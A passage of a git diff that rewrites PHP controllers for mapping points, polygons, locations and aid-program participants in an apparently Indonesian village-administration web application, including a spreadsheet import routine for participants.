+ $data['config'] = $this->header['desa']; + $data['peserta'] = $this->program_bantuan_model->get_program(1, $program_id); + $data['aksi'] = $aksi; + $this->session->per_page = $temp; + + $this->load->view("program_bantuan/{$aksi}", $data); + } + } + + public function detail_clear($program_id) + { + $this->session->per_page = $this->_set_page[0]; + $this->session->unset_userdata('cari'); + + redirect("pesera_bantuan/detail/{$program_id}"); + } +} diff --git a/donjo-app/controllers/Plan.php b/donjo-app/controllers/Plan.php index 644693877..2d932abf2 100644 --- a/donjo-app/controllers/Plan.php +++ b/donjo-app/controllers/Plan.php @@ -1,449 +1,245 @@ -load->model('wilayah_model'); + $this->load->model('plan_lokasi_model'); + $this->load->model('plan_area_model'); + $this->load->model('plan_garis_model'); + $this->load->model('pembangunan_model'); + $this->load->model('pembangunan_dokumentasi_model'); + $this->modul_ini = 'pemetaan'; + $this->sub_modul_ini = 'pengaturan-peta'; + } + + public function clear() + { + unset($_SESSION['cari'], $_SESSION['filter'], $_SESSION['point'], $_SESSION['subpoint']); + + redirect('plan'); + } + + public function index($p = 1, $o = 0) + { + $data['p'] = $p; + $data['o'] = $o; + + if (isset($_SESSION['cari'])) { + $data['cari'] = $_SESSION['cari']; + } else { + $data['cari'] = ''; + } + + if (isset($_SESSION['filter'])) { + $data['filter'] = $_SESSION['filter']; + } else { + $data['filter'] = ''; + } + + if (isset($_SESSION['point'])) { + $data['point'] = $_SESSION['point']; + } else { + $data['point'] = ''; + } + + if (isset($_SESSION['subpoint'])) { + $data['subpoint'] = $_SESSION['subpoint']; + } else { + $data['subpoint'] = ''; + } + + if (isset($_POST['per_page'])) { + $_SESSION['per_page'] = $_POST['per_page']; + } + + $data['per_page'] = $_SESSION['per_page']; + + $data['paging'] = $this->plan_lokasi_model->paging($p, $o); + $data['main'] = $this->plan_lokasi_model->list_data($o, $data['paging']->offset, $data['paging']->per_page); + $data['keyword'] = $this->plan_lokasi_model->autocomplete(); + $data['list_point'] = $this->plan_lokasi_model->list_point(); + $data['list_subpoint'] = $this->plan_lokasi_model->list_subpoint(); + $data['tip'] = 3; + + $this->render('lokasi/table', $data); + } + + public function form($p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('u'); + $data['p'] = $p; + $data['o'] = $o; + + if ($id) { + $data['lokasi'] = $this->plan_lokasi_model->get_lokasi($id) ?? show_404(); + $data['form_action'] = site_url("plan/update/{$id}/{$p}/{$o}"); + } else { + $data['lokasi'] = null; + $data['form_action'] = site_url('plan/insert'); + } + + $data['list_point'] = $this->plan_lokasi_model->list_point(); + $data['tip'] = 3; + + $this->render('lokasi/form', $data); + } + + public function ajax_lokasi_maps($p = 1, $o = 0, $id = '') + { + $data['p'] = $p; + $data['o'] = $o; + if ($id) { + $data['lokasi'] = $this->plan_lokasi_model->get_lokasi($id) ?? show_404(); + } else { + $data['lokasi'] = null; + } + + $data['desa'] = $this->header['desa']; + $data['wil_atas'] = $this->header['desa']; + $data['dusun_gis'] = $this->wilayah_model->list_dusun(); + $data['rw_gis'] = $this->wilayah_model->list_rw(); + $data['rt_gis'] = $this->wilayah_model->list_rt(); + $data['all_lokasi'] = $this->plan_lokasi_model->list_data(); + $data['all_garis'] = $this->plan_garis_model->list_data(); + $data['all_area'] = $this->plan_area_model->list_data(); + $data['all_lokasi_pembangunan'] = $this->pembangunan_model->list_lokasi_pembangunan(); + $data['form_action'] = site_url("plan/update_maps/{$p}/{$o}/{$id}"); + + $this->render('lokasi/maps', $data); + } + + public function update_maps($p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('u'); + $this->plan_lokasi_model->update_position($id); + redirect("plan/index/{$p}/{$o}"); + } + + public function search() + { + $cari = $this->input->post('cari'); + if ($cari != '') { + $_SESSION['cari'] = $cari; + } else { + unset($_SESSION['cari']); + } + redirect('plan'); + } + + public function filter() + { + $filter = $this->input->post('filter'); + if ($filter != 0) { + $_SESSION['filter'] = $filter; + } else { + unset($_SESSION['filter']); + } + redirect('plan'); + } + + public function point() + { + $point = $this->input->post('point'); + if ($point != 0) { + $_SESSION['point'] = $point; + } else { + unset($_SESSION['point']); + } + redirect('plan'); + } + + public function subpoint() + { + unset($_SESSION['point']); + $subpoint = $this->input->post('subpoint'); + if ($subpoint != 0) { + $_SESSION['subpoint'] = $subpoint; + } else { + unset($_SESSION['subpoint']); + } + redirect('plan'); + } + + public function insert($tip = 1) + { + $this->redirect_hak_akses('u'); + $this->plan_lokasi_model->insert($tip); + redirect("plan/index/{$tip}"); + } + + public function update($id = '', $p = 1, $o = 0) + { + $this->redirect_hak_akses('u'); + $this->plan_lokasi_model->update($id); + redirect("plan/index/{$p}/{$o}"); + } + + public function delete($p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('h', "plan/index/{$p}/{$o}"); + $this->plan_lokasi_model->delete($id); + redirect("plan/index/{$p}/{$o}"); + } + + public function delete_all($p = 1, $o = 0) + { + $this->redirect_hak_akses('h', "plan/index/{$p}/{$o}"); + $this->plan_lokasi_model->delete_all(); + redirect("plan/index/{$p}/{$o}"); + } + + public function lokasi_lock($id = '') + { + $this->redirect_hak_akses('u'); + $this->plan_lokasi_model->lokasi_lock($id, 1); + redirect('plan'); + } + + public function lokasi_unlock($id = '') + { + $this->redirect_hak_akses('u'); + $this->plan_lokasi_model->lokasi_lock($id, 2); + redirect('plan'); + } +} diff --git a/donjo-app/controllers/Point.php b/donjo-app/controllers/Point.php index 4cf74dee0..5405937f7 100644 --- a/donjo-app/controllers/Point.php +++ b/donjo-app/controllers/Point.php @@ -1,457 +1,272 @@ -load->model('plan_point_model'); + $this->modul_ini = 'pemetaan'; + $this->sub_modul_ini = 'pengaturan-peta'; + } + + public function clear() + { + unset($_SESSION['cari'], $_SESSION['filter']); + + redirect('point'); + } + + public function clear_simbol() + { + redirect('point/form_simbol'); + } + + public function index($p = 1, $o = 0) + { + $data['p'] = $p; + $data['o'] = $o; + + if (isset($_SESSION['cari'])) { + $data['cari'] = $_SESSION['cari']; + } else { + $data['cari'] = ''; + } + + if (isset($_SESSION['filter'])) { + $data['filter'] = $_SESSION['filter']; + } else { + $data['filter'] = ''; + } + + if (isset($_POST['per_page'])) { + $_SESSION['per_page'] = $_POST['per_page']; + } + $data['per_page'] = $_SESSION['per_page']; + + $data['paging'] = $this->plan_point_model->paging($p, $o); + $data['main'] = $this->plan_point_model->list_data($o, $data['paging']->offset, $data['paging']->per_page); + $data['keyword'] = $this->plan_point_model->autocomplete(); + + $data['tip'] = 0; + $this->render('point/table', $data); + } + + public function form($p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('u'); + $data['p'] = $p; + $data['o'] = $o; + + if ($id) { + $data['point'] = $this->plan_point_model->get_point($id) ?? show_404(); + $data['form_action'] = site_url("point/update/{$id}/{$p}/{$o}"); + } else { + $data['point'] = null; + $data['form_action'] = site_url('point/insert'); + } + + $data['simbol'] = $this->plan_point_model->list_simbol(); + $data['tip'] = 0; + + $this->render('point/form', $data); + } + + public function sub_point($point = 1) + { + $data['subpoint'] = $this->plan_point_model->list_sub_point($point); + $data['point'] = $this->plan_point_model->get_point($point) ?? show_404(); + $data['tip'] = 0; + + $this->render('point/sub_point_table', $data); + } + + public function ajax_add_sub_point($point = 0, $id = 0) + { + if ($id) { + $data['point'] = $this->plan_point_model->get_point($id) ?? show_404(); + $data['form_action'] = site_url("point/update_sub_point/{$point}/{$id}"); + } else { + $data['point'] = null; + $data['form_action'] = site_url("point/insert_sub_point/{$point}"); + } + + $data['simbol'] = $this->plan_point_model->list_simbol(); + $this->load->view('point/ajax_add_sub_point_form', $data); + } + + public function search() + { + $cari = $this->input->post('cari'); + if ($cari != '') { + $_SESSION['cari'] = $cari; + } else { + unset($_SESSION['cari']); + } + redirect('point'); + } + + public function filter() + { + $filter = $this->input->post('filter'); + if ($filter != 0) { + $_SESSION['filter'] = $filter; + } else { + unset($_SESSION['filter']); + } + redirect('point'); + } + + public function insert($tip = 1) + { + $this->redirect_hak_akses('u'); + $this->plan_point_model->insert($tip); + redirect("point/index/{$tip}"); + } + + public function update($id = '', $p = 1, $o = 0) + { + $this->redirect_hak_akses('u'); + $this->plan_point_model->update($id); + redirect("point/index/{$p}/{$o}"); + } + + public function delete($p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('h', "point/index/{$p}/{$o}"); + $this->plan_point_model->delete($id); + redirect("point/index/{$p}/{$o}"); + } + + public function delete_all($p = 1, $o = 0) + { + $this->redirect_hak_akses('h', "point/index/{$p}/{$o}"); + $this->plan_point_model->delete_all(); + redirect("point/index/{$p}/{$o}"); + } + + public function point_lock($id = '') + { + $this->redirect_hak_akses('u'); + $this->plan_point_model->point_lock($id, 1); + redirect("point/index/{$p}/{$o}"); + } + + public function point_unlock($id = '') + { + $this->redirect_hak_akses('u'); + $this->plan_point_model->point_lock($id, 2); + redirect("point/index/{$p}/{$o}"); + } + + public function insert_sub_point($point = '') + { + $this->redirect_hak_akses('u'); + $this->plan_point_model->insert_sub_point($point); + redirect("point/sub_point/{$point}"); + } + + public function update_sub_point($point = '', $id = '') + { + $this->redirect_hak_akses('u'); + $this->plan_point_model->update_sub_point($id); + redirect("point/sub_point/{$point}"); + } + + public function delete_sub_point($point = '', $id = '') + { + $this->redirect_hak_akses('h', "point/sub_point/{$point}"); + $this->plan_point_model->delete_sub_point($id); + redirect("point/sub_point/{$point}"); + } + + public function delete_all_sub_point($point = '') + { + $this->redirect_hak_akses('h', "point/sub_point/{$point}"); + $this->plan_point_model->delete_all_sub_point(); + redirect("point/sub_point/{$point}"); + } + + public function point_lock_sub_point($point = '', $id = '') + { + $this->redirect_hak_akses('u'); + $this->plan_point_model->point_lock($id, 1); + redirect("point/sub_point/{$point}"); + } + + public function point_unlock_sub_point($point = '', $id = '') + { + $this->redirect_hak_akses('u'); + $this->plan_point_model->point_lock($id, 2); + redirect("point/sub_point/{$point}"); + } + + public function tambah_simbol() + { + $this->redirect_hak_akses('u'); + $this->plan_point_model->tambah_simbol(); + redirect('point/form_simbol'); + } + + public function form_simbol($id = '') + { + $this->redirect_hak_akses('u'); + $data['simbol'] = $this->plan_point_model->list_simbol(); + $data['tip'] = 6; + + $this->render('point/form_simbol', $data); + } + + public function delete_simbol($id = '', $simbol = '') + { + $this->redirect_hak_akses('h'); + $this->plan_point_model->delete_simbol($id); + $this->plan_point_model->delete_simbol_file($simbol); + redirect('point/form_simbol'); + } + + public function salin_simbol_default() + { + $this->redirect_hak_akses('u'); + $this->plan_point_model->salin_simbol_default(); + redirect('point/form_simbol'); + } +} diff --git a/donjo-app/controllers/Polygon.php b/donjo-app/controllers/Polygon.php index 518adae87..56c2e91fd 100644 --- a/donjo-app/controllers/Polygon.php +++ b/donjo-app/controllers/Polygon.php @@ -1,473 +1,232 @@ -load->model('plan_polygon_model'); + $this->modul_ini = 'pemetaan'; + $this->sub_modul_ini = 'pengaturan-peta'; + } + + public function clear() + { + unset($_SESSION['cari'], $_SESSION['filter']); + + redirect('polygon'); + } + + public function index($p = 1, $o = 0) + { + $data['p'] = $p; + $data['o'] = $o; + + if (isset($_SESSION['cari'])) { + $data['cari'] = $_SESSION['cari']; + } else { + $data['cari'] = ''; + } + + if (isset($_SESSION['filter'])) { + $data['filter'] = $_SESSION['filter']; + } else { + $data['filter'] = ''; + } + + if (isset($_POST['per_page'])) { + $_SESSION['per_page'] = $_POST['per_page']; + } + + $data['per_page'] = $_SESSION['per_page']; + $data['paging'] = $this->plan_polygon_model->paging($p, $o); + $data['main'] = $this->plan_polygon_model->list_data($o, $data['paging']->offset, $data['paging']->per_page); + $data['keyword'] = $this->plan_polygon_model->autocomplete(); + + $data['tip'] = 5; + $this->render('polygon/table', $data); + } + + public function form($p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('u'); + $data['p'] = $p; + $data['o'] = $o; + + if ($id) { + $data['polygon'] = $this->plan_polygon_model->get_polygon($id); + $data['form_action'] = site_url("polygon/update/{$id}/{$p}/{$o}"); + } else { + $data['polygon'] = null; + $data['form_action'] = site_url('polygon/insert'); + } + + $data['tip'] = 5; + $this->render('polygon/form', $data); + } + + public function sub_polygon($polygon = 1) + { + $data['subpolygon'] = $this->plan_polygon_model->list_sub_polygon($polygon); + $data['polygon'] = $this->plan_polygon_model->get_polygon($polygon); + $data['tip'] = 5; + $this->render('polygon/sub_polygon_table', $data); + } + + public function ajax_add_sub_polygon($polygon = 0, $id = 0) + { + if ($id) { + $data['polygon'] = $this->plan_polygon_model->get_polygon($id); + $data['form_action'] = site_url("polygon/update_sub_polygon/{$polygon}/{$id}"); + } else { + $data['polygon'] = null; + $data['form_action'] = site_url("polygon/insert_sub_polygon/{$polygon}"); + } + + $this->load->view('polygon/ajax_add_sub_polygon_form', $data); + } + + public function search() + { + $cari = $this->input->post('cari'); + if ($cari != '') { + $_SESSION['cari'] = $cari; + } else { + unset($_SESSION['cari']); + } + redirect('polygon'); + } + + public function filter() + { + $filter = $this->input->post('filter'); + if ($filter != 0) { + $_SESSION['filter'] = $filter; + } else { + unset($_SESSION['filter']); + } + redirect('polygon'); + } + + public function insert($tip = 1) + { + $this->redirect_hak_akses('u'); + $this->plan_polygon_model->insert($tip); + redirect("polygon/index/{$tip}"); + } + + public function update($id = '', $p = 1, $o = 0) + { + $this->redirect_hak_akses('u'); + $this->plan_polygon_model->update($id); + redirect("polygon/index/{$p}/{$o}"); + } + + public function delete($p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('h', "polygon/index/{$p}/{$o}"); + $this->plan_polygon_model->delete($id); + redirect("polygon/index/{$p}/{$o}"); + } + + public function delete_all($p = 1, $o = 0) + { + $this->redirect_hak_akses('h', "polygon/index/{$p}/{$o}"); + $this->plan_polygon_model->delete_all(); + redirect("polygon/index/{$p}/{$o}"); + } + + public function polygon_lock($id = '') + { + $this->redirect_hak_akses('u'); + $this->plan_polygon_model->polygon_lock($id, 1); + redirect("polygon/index/{$p}/{$o}"); + } + + public function polygon_unlock($id = '') + { + $this->redirect_hak_akses('u'); + $this->plan_polygon_model->polygon_lock($id, 2); + redirect("polygon/index/{$p}/{$o}"); + } + + public function insert_sub_polygon($polygon = '') + { + $this->redirect_hak_akses('u'); + $this->plan_polygon_model->insert_sub_polygon($polygon); + redirect("polygon/sub_polygon/{$polygon}"); + } + + public function update_sub_polygon($polygon = '', $id = '') + { + $this->redirect_hak_akses('u'); + $this->plan_polygon_model->update_sub_polygon($id); + redirect("polygon/sub_polygon/{$polygon}"); + } + + public function delete_sub_polygon($polygon = '', $id = '') + { + $this->redirect_hak_akses('h', "polygon/sub_polygon/{$polygon}"); + $this->plan_polygon_model->delete_sub_polygon($id); + redirect("polygon/sub_polygon/{$polygon}"); + } + + public function delete_all_sub_polygon($polygon = '') + { + $this->redirect_hak_akses('h', "polygon/sub_polygon/{$polygon}"); + $this->plan_polygon_model->delete_all_sub_polygon(); + redirect("polygon/sub_polygon/{$polygon}"); + } + + public function polygon_lock_sub_polygon($polygon = '', $id = '') + { + $this->redirect_hak_akses('u'); + $this->plan_polygon_model->polygon_lock($id, 1); + redirect("polygon/sub_polygon/{$polygon}"); + } + + public function polygon_unlock_sub_polygon($polygon = '', $id = '') + { + $this->redirect_hak_akses('u'); + $this->plan_polygon_model->polygon_lock($id, 2); + redirect("polygon/sub_polygon/{$polygon}"); + } +} diff --git a/donjo-app/controllers/Program_bantuan.php b/donjo-app/controllers/Program_bantuan.php index e63d4f7f1..6315fcd92 100644 --- a/donjo-app/controllers/Program_bantuan.php +++ b/donjo-app/controllers/Program_bantuan.php @@ -1,537 +1,701 @@ -load->model(['program_bantuan_model']); + $this->modul_ini = 'bantuan'; + $this->_set_page = ['20', '50', '100']; + } + + public function clear() + { + $this->session->per_page = $this->_set_page[0]; + $this->session->unset_userdata('sasaran'); + redirect('program_bantuan'); + } + + public function filter($filter) + { + $value = $this->input->post($filter); + if ($value != '') { + $this->session->{$filter} = $value; + } else { + $this->session->unset_userdata($filter); + } + redirect('program_bantuan'); + } + + public function index($p = 1) + { + $this->session->unset_userdata('cari'); + $per_page = $this->input->post('per_page'); + if (isset($per_page)) { + $this->session->per_page = $per_page; + } + + $data = $this->program_bantuan_model->get_program($p, false); + $data['list_sasaran'] = SasaranEnum::all(); + $data['func'] = 'index'; + $data['per_page'] = $this->session->per_page; + $data['set_page'] = $this->_set_page; + $data['set_sasaran'] = $this->session->sasaran; + $this->render('program_bantuan/program', $data); + } + + public function apipendudukbantuan() + { + if ($this->input->is_ajax_request()) { + $cari = $this->input->get('q'); + $bantuan = $this->input->get('bantuan'); + $sasaran = $this->input->get('sasaran'); + $peserta = BantuanPeserta::where('program_id', '=', $bantuan)->pluck('peserta'); + + switch ($sasaran) { + case 1: + $this->get_pilihan_penduduk($cari, $peserta); + break; + + case 2: + $this->get_pilihan_kk($cari, $peserta); + break; + + case 3: + $this->get_pilihan_rtm($cari, $peserta); + break; + + case 4: + $this->get_pilihan_kelompok($cari, $peserta); + break; + + default: + } + } + + return show_404(); + } + + private function get_pilihan_penduduk($cari, $peserta) + { + $penduduk = Penduduk::select(['id', 'nik', 'nama', 'id_cluster']) + ->when($cari, static function ($query) use ($cari) { + $query->where(static function ($q) use ($cari) { + $q->where('nik', 'like', "%{$cari}%") + ->orWhere('nama', 'like', "%{$cari}%"); + }); + }) + ->whereNotIn('nik', $peserta) + ->paginate(10); + + return json([ + 'results' => collect($penduduk->items()) + ->map(static function ($item) { + return [ + 'id' => $item->id, + 'text' => 'NIK : ' . $item->nik . ' - ' . $item->nama . ' RT-' . $item->wilayah->rt . ', RW-' . $item->wilayah->rw . ', ' . strtoupper(setting('sebutan_dusun')) . ' ' . $item->wilayah->dusun, + ]; + }), + 'pagination' => [ + 'more' => $penduduk->currentPage() < $penduduk->lastPage(), + ], + ]); + } + + private function get_pilihan_kk($cari, $peserta) + { + $penduduk = Penduduk::with('pendudukHubungan') + ->select(['tweb_penduduk.id', 'tweb_penduduk.nik', 'keluarga_aktif.no_kk', 'tweb_penduduk.kk_level', 'tweb_penduduk.nama', 'tweb_penduduk.id_cluster']) + ->leftJoin('tweb_penduduk_hubungan', static function ($join) { + $join->on('tweb_penduduk.kk_level', '=', 'tweb_penduduk_hubungan.id'); + }) + ->leftJoin('keluarga_aktif', static function ($join) { + $join->on('tweb_penduduk.id_kk', '=', 'keluarga_aktif.id'); + }) + ->when($cari, static function ($query) use ($cari) { + $query->where(static function ($q) use ($cari) { + $q->where('tweb_penduduk.nik', 'like', "%{$cari}%") + ->orWhere('keluarga_aktif.no_kk', 'like', "%{$cari}%") + ->orWhere('tweb_penduduk.nama', 'like', "%{$cari}%"); + }); + }) + ->whereIn('tweb_penduduk.kk_level', ['1', '2', '3', '4']) + ->whereNotIn('keluarga_aktif.no_kk', $peserta) + ->orderBy('tweb_penduduk.id_kk') + ->paginate(10); + + return json([ + 'results' => collect($penduduk->items()) + ->map(static function ($item) { + return [ + 'id' => $item->id, + 'text' => 'No KK : ' . $item->no_kk . ' - ' . $item->pendudukHubungan->nama . '- NIK : ' . $item->nik . ' - ' . $item->nama . ' RT-' . $item->wilayah->rt . ', RW-' . $item->wilayah->rw . ', ' . strtoupper(setting('sebutan_dusun')) . ' ' . $item->wilayah->dusun, + ]; + }), + 'pagination' => [ + 'more' => $penduduk->currentPage() < $penduduk->lastPage(), + ], + ]); + } + + private function get_pilihan_rtm($cari, $peserta) + { + $penduduk = Penduduk::select(['id', 'id_rtm', 'nama', 'id_cluster']) + ->when($cari, static function ($query) use ($cari) { + $query->where(static function ($q) use ($cari) { + $q->where('nik', 'like', "%{$cari}%") + ->orWhere('nama', 'like', "%{$cari}%") + ->orWhere('id_rtm', 'like', "%{$cari}%"); + }); + }) + ->whereHas('rtm', static function ($query) use ($peserta) { + $query->whereNotIn('no_kk', $peserta); + }) + ->paginate(10); + + return json([ + 'results' => collect($penduduk->items()) + ->map(static function ($item) { + return [ + 'id' => $item->rtm->no_kk, + 'text' => 'No. RT : ' . $item->rtm->no_kk . ' - ' . $item->nama . ' RT-' . $item->wilayah->rt . ', RW-' . $item->wilayah->rw . ', ' . strtoupper(setting('sebutan_dusun')) . ' ' . $item->wilayah->dusun, + ]; + }), + 'pagination' => [ + 'more' => $penduduk->currentPage() < $penduduk->lastPage(), + ], + ]); + } + + private function get_pilihan_kelompok($cari, $peserta) + { + $penduduk = Kelompok::select(['kelompok.id', 'tweb_penduduk.nik', 'tweb_penduduk.nama as nama_penduduk', 'kelompok.nama as nama_kelompok', 'tweb_penduduk.id_cluster']) + ->leftJoin('tweb_penduduk', static function ($join) { + $join->on('kelompok.id_ketua', '=', 'tweb_penduduk.id'); + }) + ->when($cari, static function ($query) use ($cari) { + $query->where(static function ($q) use ($cari) { + $q->where('kelompok.nama', 'like', "%{$cari}%") + ->orWhere('tweb_penduduk.nama', 'like', "%{$cari}%"); + }); + }) + ->whereNotIn('kelompok.id', $peserta) + ->paginate(10); + + return json([ + 'results' => collect($penduduk->items()) + ->map(static function ($item) { + return [ + 'id' => $item->id, + 'text' => $item->nama_penduduk . ' [' . $item->nama_kelompok . ']' . ' RT-' . $item->wilayah->rt . ', RW-' . $item->wilayah->rw . ', ' . strtoupper(setting('sebutan_dusun')) . ' ' . $item->wilayah->dusun, + ]; + }), + 'pagination' => [ + 'more' => $penduduk->currentPage() < $penduduk->lastPage(), + ], + ]); + } + + public function panduan() + { + $this->render('program_bantuan/panduan'); + } + + public function create() + { + $this->redirect_hak_akses('u'); + $this->load->helper('form'); + $this->load->library('form_validation'); + + $this->form_validation->set_rules('cid', 'Sasaran', 'required'); + $this->form_validation->set_rules('nama', 'Nama Program', 'required'); + $this->form_validation->set_rules('sdate', 'Tanggal awal', 'required'); + $this->form_validation->set_rules('edate', 'Tanggal akhir', 'required'); + $this->form_validation->set_rules('asaldana', 'Asal Dana', 'required'); + + $data['asaldana'] = unserialize(ASALDANA); + + if ($this->form_validation->run() === false) { + $this->render('program_bantuan/create', $data); + } else { + $this->program_bantuan_model->set_program(); + redirect('program_bantuan'); + } + } + + // $id = program.id + public function edit($id = 0) + { + $this->redirect_hak_akses('u'); + $this->load->helper('form'); + $this->load->library('form_validation'); + + $this->form_validation->set_rules('cid', 'Sasaran', 'required'); + $this->form_validation->set_rules('nama', 'Nama Program', 'required'); + $this->form_validation->set_rules('sdate', 'Tanggal awal', 'required'); + $this->form_validation->set_rules('edate', 'Tanggal akhir', 'required'); + $this->form_validation->set_rules('asaldana', 'Asal Dana', 'required'); + + Bantuan::findOrFail($id); + $data['asaldana'] = unserialize(ASALDANA); + $data['program'] = $this->program_bantuan_model->get_program(1, $id) ?? show_404(); + $data['jml'] = $this->program_bantuan_model->jml_peserta_program($id); + $data['nama_excerpt'] = Str::limit($data['program'][0]['nama'], 25); + + if ($this->form_validation->run() === false) { + $this->render('program_bantuan/edit', $data); + } else { + $this->program_bantuan_model->update_program($id); + redirect('program_bantuan'); + } + } + + // $id = program.id + public function update($id) + { + $this->redirect_hak_akses('u'); + $this->program_bantuan_model->update_program($id); + redirect("program_bantuan/detail/{$id}"); + } + + // $id = program.id + public function hapus($id) + { + $this->redirect_hak_akses('h'); + $this->program_bantuan_model->hapus_program($id); + redirect('program_bantuan'); + } + + public function search($program_id = 0) + { + $cari = $this->input->post('cari'); + + if ($cari != '') { + $this->session->cari = $cari; + } else { + $this->session->unset_userdata('cari'); + } + + redirect("program_bantuan/detail/{$program_id}"); + } + + // TODO: function ini terlalu panjang dan sebaiknya dipecah menjadi beberapa method + public function impor() + { + $this->redirect_hak_akses('u'); + + $this->load->library('MY_Upload', null, 'upload'); + $this->upload->initialize([ + 'upload_path' => sys_get_temp_dir(), + 'allowed_types' => 'xls|xlsx|xlsm', + 'file_name' => namafile('Impor Peserta Program Bantuan'), + ]); + + if ($this->upload->do_upload('userfile')) { + $program_id = ''; + // Data Program Bantuan + $temp = $this->session->per_page; + $this->session->per_page = 1000000000; + $ganti_program = $this->input->post('ganti_program'); + $kosongkan_peserta = $this->input->post('kosongkan_peserta'); + $ganti_peserta = $this->input->post('ganti_peserta'); + $rand_kartu_peserta = $this->input->post('rand_kartu_peserta'); + + $upload = $this->upload->data(); + $reader = ReaderEntityFactory::createXLSXReader(); + $reader->open($upload['full_path']); + + $data_program = []; + $data_peserta = []; + $data_diubah = ''; + + foreach ($reader->getSheetIterator() as $sheet) { + $no_baris = 0; + $no_gagal = 0; + $no_sukses = 0; + + // Sheet Program + if ($sheet->getName() == 'Program') { + $pesan_program = ''; + $daftar_program = Bantuan::pluck('id')->toArray(); + $field = ['id', 'nama', 'sasaran', 'ndesc', 'asaldana', 'sdate', 'edate']; + + foreach ($sheet->getRowIterator() as $row) { + $cells = $row->getCells(); + $title = (string) $cells[0]; + $value = $this->cek_is_date($cells[1]); + + // Data terakhir + if ($title == '###') { + break; + } + + if (in_array($no_baris, [5, 6]) && ! validate_date($value, 'Y-m-d')) { + session_error(', Data program baris Ke-' . ($no_baris) . ' berisi tanggal yang salah. Cek kembali data ' . $title . ' = ' . $value); + + redirect($this->controller); + } + + switch (true) { + /** + * baris 1 == id + * id bernilai NULL/Kosong( )/Strip(-)/tdk valid, buat program baru dan tampilkan notifkasi tambah program + * id bernilai id dan valid, update data program dan tampilkan notifkasi update program + */ + case $no_baris == 0 && (in_array((int) $value, $daftar_program)): + $program_id = $value; + if (null === $ganti_program) { + $pesan_program .= 'Data program dengan id = ' . ($value) . ' ditemukan, data lama tetap digunakan
'; + } else { + $pesan_program .= 'Data program dengan id = ' . ($value) . ' ditemukan, data lama diganti dengan data baru
'; + } + break; + + case $no_baris == 0 && ! in_array((int) $value, $daftar_program): + $program_id = null; + $pesan_program .= 'Data program dengan id = ' . ($value) . ' tidak ditemukan, program baru ditambahkan secara otomatis)
'; + break; + + default: + $data_program = array_merge($data_program, [$field[$no_baris] => $value]); + break; + } + $no_baris++; + } + + // Proses impor program + $program_id = $this->program_bantuan_model->impor_program($program_id, $data_program, $ganti_program); + } + + // Sheet Peserta + else { + $pesan_peserta = ''; + $ambil_peserta = Bantuan::select('id', 'sasaran')->with(['peserta' => static function ($query) { + $query->select('program_id', 'peserta'); + }])->find($program_id); + $sasaran = (int) $ambil_peserta->sasaran; + $terdaftar_peserta = $ambil_peserta->peserta->pluck('peserta')->toArray(); + + if ($kosongkan_peserta == 1) { + $pesan_peserta .= '- Data peserta ' . ($ambil_peserta[0]['nama']) . ' sukses dikosongkan
'; + $terdaftar_peserta = null; + } + + foreach ($sheet->getRowIterator() as $row) { + $no_baris++; + $cells = $row->getCells(); + $peserta = (string) $cells[0]; + $nik = (string) $cells[2]; + + // Data terakhir + if ($peserta == '###') { + break; + } + + // Abaikan baris pertama / judul + if ($no_baris <= 1) { + continue; + } + + // Cek valid data peserta sesuai sasaran + $cek_peserta = $this->program_bantuan_model->cek_peserta($peserta, $sasaran); + if (! in_array($nik, $cek_peserta['valid'])) { + $no_gagal++; + $pesan_peserta .= '- Data peserta baris Ke-' . ($no_baris) . ' / ' . $cek_peserta['sasaran_peserta'] . ' = ' . $peserta . ' tidak ditemukan
'; + + continue; + } + + // Cek valid data penduduk sesuai nik + $cek_penduduk = $this->penduduk_model->get_penduduk_by_nik($nik); + if (! $cek_penduduk['id']) { + $no_gagal++; + $pesan_peserta .= '- Data peserta baris Ke-' . ($no_baris) . ' / NIK = ' . $nik . ' yang terdaftar tidak ditemukan
'; + + continue; + } + + // Cek data peserta yg akan dimpor dan yg sudah ada + if (in_array($peserta, $terdaftar_peserta) && $ganti_peserta != 1) { + $no_gagal++; + $pesan_peserta .= '- Data peserta baris Ke-' . ($no_baris) . ' sudah ada
'; + + continue; + } + + if (in_array($peserta, $terdaftar_peserta) && $ganti_peserta == 1) { + $data_diubah .= ', ' . $peserta; + $pesan_peserta .= '- Data peserta baris Ke-' . ($no_baris) . ' ditambahkan menggantikan data lama
'; + } + + // Jika kosong ambil data dari database + $no_id_kartu = (string) $cells[1]; + $kartu_nama = (string) $cells[3]; + $kartu_tempat_lahir = (string) $cells[4]; + $kartu_tanggal_lahir = $cells[5]; + $kartu_tanggal_lahir = $this->cek_is_date($kartu_tanggal_lahir); + $kartu_alamat = (string) $cells[6]; + if (empty($kartu_tanggal_lahir)) { + $kartu_tanggal_lahir = $cek_penduduk['tanggallahir']; + } else { + if (! validate_date($kartu_tanggal_lahir, 'Y-m-d')) { + $no_gagal++; + $pesan_peserta .= '- Data peserta baris Ke-' . ($no_baris) . ' berisi tanggal yang salah
'; + + continue; + } + } + + // Random no. kartu peserta + if ($rand_kartu_peserta == 1) { + $no_id_kartu = 'acak_' . random_int(1, 1000); + } + + // Ubaha data peserta menjadi id (untuk saat ini masih data kelompok yg menggunakan id) + // Berkaitan dgn issue #3417 + if ($sasaran == 4) { + $peserta = $cek_peserta['id']; + } + + // Simpan data peserta yg diimpor dalam bentuk array + $simpan = [ + 'config_id' => identitas('id'), + 'peserta' => $peserta, + 'program_id' => $program_id, + 'no_id_kartu' => $no_id_kartu, + 'kartu_nik' => $nik, + 'kartu_nama' => $kartu_nama ?: $cek_penduduk['nama'], + 'kartu_tempat_lahir' => $kartu_tempat_lahir ?: $cek_penduduk['tempatlahir'], + 'kartu_tanggal_lahir' => $kartu_tanggal_lahir, + 'kartu_alamat' => $kartu_alamat ?: $cek_penduduk['alamat_wilayah'], + 'kartu_id_pend' => $cek_penduduk['id'], + ]; + + $data_peserta[] = $simpan; + $no_sukses++; + } + + // Proses impor peserta + if ($no_baris <= 0) { + $pesan_peserta .= '- Data peserta tidak tersedia
